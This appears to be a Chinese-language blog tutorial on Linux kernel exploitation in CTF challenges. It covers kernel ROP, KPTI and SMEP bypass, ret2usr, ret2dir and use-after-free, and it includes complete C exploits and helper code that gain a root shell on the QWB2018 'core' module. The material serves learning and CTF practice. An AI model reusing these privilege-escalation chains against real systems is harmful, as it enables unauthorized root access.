【NOTES.0x03】Linux Kernel Pwn学习笔记 II:Basic Exploit to Kernel Pwn in CTF

本文最后更新于:2021年9月23日 晚上

宁也是带黑阔?

0x00.绪论

毫无疑问,对于内核漏洞进行利用,并最终提权到 root,在黑客界是一种最为 old school 的美学(

而CTF中的 kernel pwn 类型的题目则恰好是入门 kernel exploit 最好的方式之一,因此本篇来讲讲 CTF 中几种较为常见的 kernel 利用方式

✳ kernel pwn与用户态的pwn在本质上并无差别

需要注意的是,CTF中的kernel pwn通常不会让选手去真正寻找内核中的漏洞,而通常是给出一个有漏洞的LKM让选手进行分析

但如果你有一个 kernel 0day 你便可以通杀所有比赛的 kernel pwn 题()

文件远程传输方式

通常情况下,在CTF中一个用作 exploit 的静态编译的可执行文件的体积通常可以达到数百KB甚至几M往上,我们没法很方便地将其直接上传到服务器

目前来说比较通用的办法便是将 exploit 进行 base64 编码后传输,可参考笔者所给出的如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import time, os
#context.log_level = "debug"

p = process('./boot.sh')#remote("127.0.0.1", 5555)

os.system("tar -czvf exp.tar.gz ./exploit")
os.system("base64 exp.tar.gz > b64_exp")

f = open("./b64_exp", "r")

p.sendline()
p.recvuntil("/ $")
p.sendline("echo '' > b64_exp;")

count = 1
while True:
print('now line: ' + str(count))
line = f.readline().replace("\n","")
if len(line)<=0:
break
cmd = b"echo '" + line.encode() + b"' >> b64_exp;"
p.sendline(cmd) # send lines
#time.sleep(0.02)
#p.recv()
p.recvuntil("/ $")
count += 1
f.close()

p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exploit;")
p.sendline("./exploit")
p.interactive()

相比起常规的 pwn 题,kernel pwn 打远程会是一个比较漫长的过程,因为大部分的时间都会花在这个文件传输上

若是运气不大好,那么你可能会需要从头来过…

image.png

*常用数据 & 函数集合

笔者将常用的一些数据、函数等等封装在一个头文件 kernelpwn.h 中,封装好了一些如 userfaultfd 等的常用物

kernelpwn.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void * kernel_base = 0xffffffff81000000;
size_t kernel_offset = 0;

static pthread_t monitor_thread;

void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}

void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

size_t commit_creds = NULL, prepare_kernel_cred = NULL;
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}

puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
}

/* ------ kernel structure ------ */

struct file_operations;
struct tty_struct;
struct tty_driver;
struct serial_icounter_struct;

struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
const struct file_operations *proc_fops;
};

0x01.Kernel ROP - basic

ROP即返回导向编程(Return-oriented programming),应当是大家比较熟悉的一种攻击方式——通过复用代码片段的方式控制程序执行流

内核态的 ROP 与用户态的 ROP 一般无二,只不过利用的 gadget 变成了内核中的 gadget,所需要构造执行的 ropchain 由system("/bin/sh")变为了commit_creds(prepare_kernel_cred(NULL))

当成功执行 commit_creds(prepare_kernel_cred(NULL)) 之后,当前线程的 cred 结构体便变为 init 进程的 cred 的拷贝,我们也就获得了 root 权限,此时在用户态起一个 shell 便能获得 root shell

状态保存

通常情况下,我们的exploit需要进入到内核当中完成提权,而我们最终仍然需要着陆回用户态以获得一个root权限的shell,因此在我们的exploit进入内核态之前我们需要手动模拟用户态进入内核态的准备工作——保存各寄存器的值到内核栈上,以便于后续着陆回用户态

通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中,以便于构造 rop 链:

算是一个通用的pwn板子

方便起见,使用了内联汇编,编译时需要指定参数:-masm=intel

1
2
3
4
5
6
7
8
9
10
11
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

返回用户态

Linux Kernel Pwn学习笔记 I:一切开始之前 当中笔者简要叙述了内核态返回用户态的过程:

  • swapgs指令恢复用户态GS寄存器
  • sysretq或者iretq恢复到用户空间

那么我们只需要在内核中找到相应的gadget并执行swapgs;iretq就可以成功着陆回用户态

通常来说,我们应当构造如下rop链以返回用户态并获得一个shell:

1
2
3
4
5
6
7
↓	swapgs
iretq
user_shell_addr
user_cs
user_eflags //64bit user_rflags
user_sp
user_ss

KPTI bypass

对于开启了 KPTI(内核页表隔离),我们在返回用户态之前还需要将用户进程的页表给切换回来

众所周知 Linux 采用四级页表结构(PGD->PUD->PMD->PTE),而 CR3 控制寄存器用以存储当前的 PGD 的地址,因此在开启 KPTI 的情况下用户态与内核态之间的切换便涉及到 CR3 的切换,为了提高切换的速度,内核将内核空间的 PGD 与用户空间的 PGD 两张页全局目录表放在一段连续的内存中(两张表,一张一页4k,总计8k,内核空间的在低地址,用户空间的在高地址),这样只需要将 CR3 的第 13 位取反便能完成页表切换的操作

image.png

内核也相应地在 arch/x86/entry/entry_64.S 中提供了一个用于完成内核态到用户态切换的函数 swapgs_restore_regs_and_return_to_usermode,地址可以在 /proc/kallsyms 中获得

AT&T 汇编比较反人类,推荐直接查看 IDA 的反汇编结果(亲切的 Intel 风格):

image.png

在实际操作时前面的一些栈操作都可以跳过,直接从 mov rdi, rsp 开始,这个函数大概可以总结为如下操作:

1
2
3
4
5
6
7
mov		rdi, cr3
or rdi, 0x1000
mov cr3, rdi
pop rax
pop rdi
swapgs
iretq

因此我们只需要布置出如下栈布局即可:

1
2
3
4
5
6
7
8
↓	swapgs_restore_regs_and_return_to_usermode
0 // padding
0 // padding
user_shell_addr
user_cs
user_rflags
user_sp
user_ss

内核ROP和用户态的ROP本质上没有太大区别,细节便不在此赘叙了

什么?你说你⑧会 ROP ?那你看个🔨kernel pwn

👴悟🌶!**带学的带手子pwner在VNCTF2021告诉👴 ROP 事一个寄存器!

例题:强网杯2018 - core

依然是十分经典的kernel pwn入门题

点击下载-core.7z

首先查看启动脚本start.sh

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
  • 开启了KASLR保护

解压文件系统,查看init文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f
  • 开始时内核符号表被复制了一份到/tmp/kalsyms中,利用这个我们可以获得内核中所有函数的地址
  • 不出意外的话core.ko就是存在漏洞的内核模块
  • 改变权限前设置了定时关机,调试的时候可以把这个语句先删掉

分析

惯例的checksec一下,开了NX和canary

image.png

拖入IDA进行分析,符号表没抠,很开心(

初始化函数中创建了一个进程节点文件/proc/core,这也是我们后续与内核模块间通信的媒介

image.png

简单分析自定义的fop结构体core_fops,发现只自定义了三个回调函数

image.png

image.png

image.png

其中core_release仅为打印功能,就不在此放出了

core_write的功能主要是允许用户向bss段上写入最多0x800字节的内容

image.png

core_ioctl中允许我们调用core_readcore_copy_func这两个函数,以及设置全局变量off的值

image.png

core_read函数中允许我们从栈上读取数据,由于off变量的值可以由我们控制,故我们可以利用该函数泄露栈上数据,包括canary

image.png

漏洞利用:Kernel ROP

core_copy_func中将会拷贝bss段上内容到栈上,由于其拷贝时使用低16字节作为判断长度,若是我们传入一个恰当的负数,便能拷贝最多0xffff字节的数据到栈上

存在栈溢出,且溢出数据可控

image.png

那么我们便能够利用栈溢出在栈上构造ROP chain以提权

而canary的值可以通过ioctl提供的功能以泄露,此前内核符号表又已经被拷贝到了/tmp/kallsyms下,我们便可以从中读取各个内核符号的地址

只要我们能够在内核空间执行commit_cred(prepare_kernel_cred(NULL)),那么就能够将进程的权限提升到root

至于gadget可以直接使用ROPgadget或者ropper对着vmlinux镜像跑一轮,这里便不再赘叙

不明原因,笔者的ROPgadget没法找到iretq,只好直接用IDA按字节搜…

image.png

调试的时候我们可以先把kaslr关掉,获取没有偏移的函数地址,后续再通过该值计算偏移

image.png

exploit

我们这里选择执行commit_creds(prepare_kernel_cred(NULL))以提权

由于是内核态的rop,故我们需要手动返回用户态执行/bin/sh,这里我们需要模拟由用户态进入内核态再返回用户态的过程

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff813eb448

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

void coreRead(int fd, char * buf)
{
ioctl(fd, 0x6677889B, buf);
}

void setOffValue(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}

void coreCopyFunc(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}

int main(int argc, char ** argv)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

int fd = open("/proc/core", 2);
if(fd <0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}

//get the addr
FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

size_t offset = commit_creds - 0xffffffff8109c8e0;

// get the canary
size_t canary;
setOffValue(fd, 64);
coreRead(fd, buf);
canary = ((size_t *)buf)[0];

//construct the ropchain
size_t rop_chain[0x100], i = 0;
for(; i < 10;i++)
rop_chain[i] = canary;
rop_chain[i++] = POP_RDI_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = POP_RDX_RET + offset;
rop_chain[i++] = POP_RCX_RET + offset; // just to clear the useless stack data
rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + offset;
rop_chain[i++] = commit_creds;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}

编译指令:

1
$ gcc ./exploit.c -o exploit -static -masm=intel

本地调试的话重新打包即可

1
$ find . | cpio -o -H newc > ../core.cpio

运行即可获得root shell

image.png

0x02.Kernel ROP - ret2usr

在【未】开启SMAP/SMEP保护的情况下,用户空间无法访问内核空间的数据,但是内核空间可以访问用户空间的数据,因此ret2usr这种攻击手法应运而生——通过kernel ROP以内核的ring 0权限执行用户空间的代码以完成提权

通常CTF中的ret2usr还是以执行commit_creds(prepare_kernel_cred(NULL))进行提权为主要的攻击手法,不过相比起构造冗长的ROP chain,ret2usr只需我们要提前在用户态程序构造好对应的函数指针、获取相应函数地址后直接执行即可

✳ 对于开启了SMAP/SMEP保护的 kernel 而言,内核空间尝试直接访问用户空间会引起kernel panic

✳ 对于开启了 KPTI 的kernel 而言 ret2user 不再有效

通常情况下的报错信息大概如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[    7.168602] core: called core_writen
[ 7.168919] unable to execute userspace code (SMEP?) (uid: 1000)
[ 7.170547] BUG: unable to handle kernel paging request at 0000000000401d8a
[ 7.171399] IP: 0x401d8a
[ 7.171598] PGD 800000000fb5e067 P4D 800000000fb5e067 PUD fb5f067 PMD fb59065
[ 7.172087] Oops: 0011 [#1] SMP PTI
[ 7.172429] Modules linked in: core(O)
[ 7.172937] CPU: 0 PID: 995 Comm: exploit Tainted: G O 4.15.8 9
[ 7.173337] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.134
[ 7.173736] RIP: 0010:0x401d8a
[ 7.173865] RSP: 0018:ffff9e5b40113e70 EFLAGS: 00000296
[ 7.174418] RAX: 0000000000000000 RBX: 2cbe9f17d07a4800 RCX: 0000000000000000
[ 7.174780] RDX: 0000000000000000 RSI: ffffffffc0165500 RDI: ffff9e5b40113f18
[ 7.175257] RBP: ffffffffffff0100 R08: 6163203a65726f63 R09: 0000000000000de8
[ 7.176123] R10: 0000000000000004 R11: 6e65746972775f65 R12: ffff9ba74a80f7a0
[ 7.176801] R13: 000000006677889a R14: ffffffffffff0100 R15: 0000000000000000
[ 7.177424] FS: 000000000110b880(0000) GS:ffff9ba74bc00000(0000) knlGS:00000
[ 7.178205] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 7.178836] CR2: 0000000000401d8a CR3: 000000000fb62000 CR4: 00000000003006f0
[ 7.179483] Call Trace:
[ 7.180390] ? native_load_gs_index+0xa/0x10
[ 7.180894] ? push_to_pool+0x8/0x30
[ 7.181194] ? do_syscall_64+0x56/0xf0
[ 7.181431] ? entry_SYSCALL_64_after_hwframe+0x3d/0xa2
[ 7.182556] Code: Bad RIP value.
[ 7.183461] RIP: 0x401d8a RSP: ffff9e5b40113e70
[ 7.184270] CR2: 0000000000401d8a
[ 7.185409] ---[ end trace 11e9381f0a3911ca ]---
[ 7.186319] Kernel panic - not syncing: Fatal exception
[ 7.187391] Kernel Offset: 0x32800000 from 0xffffffff81000000 (relocation ra)
[ 7.188504] Rebooting in 1 seconds..

例题:强网杯2018 - core

好像也找不到别的纯 ret2usr 的题了,kernel pwn 的题太少了…但是你又⑧能⑧学

具体的这里就不再重复分析了,由于其未开启 smap/smep 保护,故可以考虑在进程中构造好对应的函数指针后直接 ret2usr 以提权,我们只需要将代码稍加修改即可

最终的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff813eb448

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

void coreRead(int fd, char * buf)
{
ioctl(fd, 0x6677889B, buf);
}

void setOffValue(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}

void coreCopyFunc(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}

int main(int argc, char ** argv)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

int fd = open("/proc/core", 2);
if(fd <0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}

//get the addr
FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

size_t offset = commit_creds - 0xffffffff8109c8e0;

// get the canary
size_t canary;
setOffValue(fd, 64);
coreRead(fd, buf);
canary = ((size_t *)buf)[0];

//construct the ropchain
size_t rop_chain[0x100], i = 0;
for(; i < 10;i++)
rop_chain[i] = canary;
rop_chain[i++] = (size_t)getRootPrivilige;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}

重新打包,运行,成功获取root权限

image.png

ret2usr with SMEP-BYPASS

前面我们讲到,当 kernel 开启 SMEP 保护时,ret2usr 这种攻击手法将会引起 kernel panic,因此若是我们仍然想要进行 ret2usr 攻击,则需要先关闭SMEP保护

Intel 下系统根据 CR4 控制寄存器的第 20 位标识是否开启SMEP保护(1为开启,0为关闭),若是能够通过kernel ROP改变CR4寄存器的值便能够关闭SMEP保护,完成SMEP-bypass,接下来就能够重新进行ret2usr

(下图般自ctf-wiki)

image.png

我们可以通过如下命令查看CPU相关信息,其中包括开启的保护类型:

1
$ cat /proc/cpuinfo

例题:CISCN - 2017 - babydriver

放到后面和 kernel UAF 一起讲

0x03.Kernel ROP - ret2dir

笔者第一次见这个名字的时候还以为是 return to directory:返回至文件夹的攻击,但现在仔细想来至少英文猜的差不多对

在设计中,为了使隔离的数据进行交换时具有更高的性能,隐性地址共享始终存在,即对于部分数据而言用户态进程与内核共享同一块物理内存,因此通过隐性内存共享可以完整的绕过软件和硬件的隔离保护,这种攻击方式被称之为ret2dir(return-to-direct-mapped memory )

在用户态进程中存在着两块这样的用以提高性能的内存:vdsovsyscall

image.png

VDSO:虚拟动态链接共享对象

VDSO 即 Virtual Dynamically-linked Shared Object ——虚拟动态链接共享对象,本质上是将内核空间中的系统调用映射到用户地址空间以提高性能,减少开销,所有的用户态进程共享一块VDSO内存

VDSO可以理解为一个虚拟的动态链接库

部分用户程序会频繁进行系统调用(如比较常见的orw),若是频繁地在用户态与内核态间切换,则会造成大量的额外的开销,故VDSO应运而生,大幅度地减少了开销,同时也提供了更好的调用路径——我们不再需要通过传统的int 0x80进行系统调用,而是通过新的指令:

  • intel:sysenter,sysexit
  • amd: syscall,sysret

VDSO大致如下图所示:

本图来自于看雪论坛

image.png

VSYSCALL:虚拟系统调用

vsyscall 即 virtual system call——虚拟系统调用;对于部分并不传递参数的系统调用(如 gettimeofday 等),其作用仅为向内核中请求某些数据,这种情况下便没有必要如同常规的系统调用一般在内核态与用户态间切换,产生大量的开销,只需要内核在其相应的阶段向一块固定的内存上定时写入数据用户态进程在需要时直接读取数据即可,vsyscall 便应运而生

例题:CSAWCTF2015 - StringIPC

原题见https://github.com/mncoppola/StringIPC

题目太过久远了…实在找不到原文件…只好自己编译一份

惯例的查看启动脚本

1
2
3
4
5
6
7
8
qemu-system-x86_64 \  
-m 512 \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \
-nographic \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \

好像也没开什么保护

分析

惯例地拖入IDA中进行分析

大概是注册了一个misc类型设备/dev/csaw

image.png

以及定义了openioctl

image.png

在我们打开设备时会调用kmem_cache_alloc_trace分配一个内存块

image.png

0x04.Kernel Heap - Use After Free

UAF 即 Use After Free,通常指的是对于释放后未重置的垂悬指针的利用,此前的 heap 阶段对于 ptmalloc 的利用很多都是基于UAF漏洞进行进一步的利用

Linux Kernel 中同样有着一个动态内存分配器——slab/slub 内存分配器,若是在 kernel 中存在着垂悬指针,我们同样可以以此完成对 slab/slub 内存分配器的利用,通过 Kernel UAF 完成提权

例题:CISCN - 2017 - babydriver

可以说是最最最最最最最经典的kernel pwn入门题

点击下载-babydriver.tar.gz

解压,惯例的磁盘镜像 + 内核镜像 + 启动脚本结构

查看boot.sh写的好乱啊

1
2
3
#!/bin/bash

qemu-system-x86_64 -initrd core.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -monitor /dev/null -m 128M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep -s
  • 开启了SMEP保护

解压磁盘镜像看看有没有什么可以利用的东西

1
2
3
4
$ mkdir core
$ cp ./core.cpio ./core
$ cd core
$ cpio -idv < ./core.cpio

查看其启动脚本init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

其中加载了一个叫做babydriver.ko的驱动,按照惯例这个就是有着漏洞的驱动

逆向分析

惯例的checksec,发现其只开了NX保护,整挺好

image.png

拖入IDA进行分析

在驱动被加载时会初始化一个设备节点文件/dev/babydev

image.png

在我们使用open()打开设备文件时该驱动会分配一个chunk,该chunk的指针储存于全局变量babydev_struct

image.png

使用ioctl进行通信则可以重新申请内存,改变该chunk的大小

image.png

在关闭设备文件时会释放该chunk,但是并未将指针置NULL,存在UAF漏洞

image.png

read和write就是简单的读写该chunk,便不贴图了

漏洞点

若是我们的程序打开两次设备babydev,由于其chunk储存在全局变量中,那么我们将会获得指向同一个 chunk的两个指针

而在关闭设备后该 chunk 虽然被释放,但是指针未置0,那么我们便可以通过另一个文件描述符操作该 chunk,即存在 Use After Free 漏洞

漏洞利用:Kernel UAF + stack migitation + SMEP bypass + ret2usr

内核符号表可读(白给),我们能够很方便地获得相应内核函数的地址

image.png

没有开启 kaslr,所以可以直接从 vmlinux 中提取gadget地址,这里 ROPgadget 和 ropper 半斤八两,建议两个配合着一起用

由于开启了 SMEP 保护,无法直接 ret2usr,故我们需要改变 cr4 寄存器的值以 bypass smep

观察到在内核中有着如下的 gadget 可以很方便地改变 cr4 寄存器的值:

image.png

